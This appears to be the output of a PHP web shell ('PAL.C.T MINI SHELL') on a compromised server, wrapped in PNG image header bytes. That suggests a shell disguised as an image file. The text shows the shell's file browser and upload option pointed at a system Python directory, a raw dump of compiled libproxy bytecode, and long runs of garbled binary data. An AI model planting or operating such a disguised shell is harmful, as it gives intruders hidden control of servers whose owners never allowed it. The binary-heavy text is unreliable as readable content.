php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/lib/python2.6/site-packages/
upload
files >> //proc/self/root/usr/lib/python2.6/site-packages/libproxy.pyo

RJc@sdZddkZddkZddkZeiidp
edneiieiidZ	ei
eie	i_
defdYZdS(s4A library for proxy configuration and autodetection.iNtproxysUnable to import libproxy!?!?tProxyFactorycBs)eZdZdZdZdZRS(s}A ProxyFactory object is used to provide potential proxies to use
    in order to reach a given URL (via 'getProxy(url)').
 
    This instance should be kept around as long as possible as it contains
    cached data to increase performance.  Memory usage should be minimal (cache
    is small) and the cache lifespan is handled automatically.

    Usage is pretty simple:
        pf = libproxy.ProxyFactory()
        for url in urls:
            proxies = pf.getProxy(url)
            for proxy in proxies:
                if proxy == "direct://":
                    # Fetch URL without using a proxy
                elif proxy.startswith("http://"):
                    # Fetch URL using an HTTP proxy
                elif proxy.startswith("socks://"):
                    # Fetch URL using a SOCKS proxy
                
                if fetchSucceeded:
                    break    
    cCsti|_dS(N(t	_libproxytpx_proxy_factory_newt_pf(tself((s,/usr/lib/python2.6/site-packages/libproxy.pyt__init__9scCst|tjo
tdng}ti|i|}d}xT||oH|itti||ti	i
ti|||d7}qDWti||S(sfGiven a URL, returns a list of proxies in priority order to be used
        to reach that URL.

        A list of proxy strings is returned.  If the first proxy fails, the 
        second should be tried, etc... In all cases, at least one entry in the
        list will be returned. There are no error conditions.

        Regarding performance: this method always blocks and may be called
        in a separate thread (is thread-safe).  In most cases, the time
        required to complete this function call is simply the time required
        to read the configuration (e.g  from GConf, Kconfig, etc).  

        In the case of PAC, if no valid PAC is found in the cache (i.e.
        configuration has changed, cache is invalid, etc), the PAC file is 
        downloaded and inserted into the cache. This is the most expensive
        operation as the PAC is retrieved over the network. Once a PAC exists
        in the cache, it is merely a JavaScript invocation to evaluate the PAC.
        One should note that DNS can be called from within a PAC during 
        JavaScript invocation.

        In the case of WPAD, WPAD is used to automatically locate a PAC on the
        network.  Currently, we only use DNS for this, but other methods may
        be implemented in the future.  Once the PAC is located, normal PAC 
        performance (described above) applies.

        surl must be a string!ii(ttypetstrt	TypeErrorRtpx_proxy_factory_get_proxiesRtappendtctypestcasttc_char_ptvaluetpx_free(Rturltproxiestarrayti((s,/usr/lib/python2.6/site-packages/libproxy.pyt
getProxies<s
)
cCsti|idS(N(Rtpx_proxy_factory_freeR(R((s,/usr/lib/python2.6/site-packages/libproxy.pyt__del__es(t__name__t
__module__t__doc__RRR(((s,/usr/lib/python2.6/site-packages/libproxy.pyR!s		)(RRtctypes.utiltsystutiltfind_librarytImportErrortcdlltLoadLibraryRtPOINTERtc_void_pR
trestypetobjectR(((s,/usr/lib/python2.6/site-packages/libproxy.pyt<module>s

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`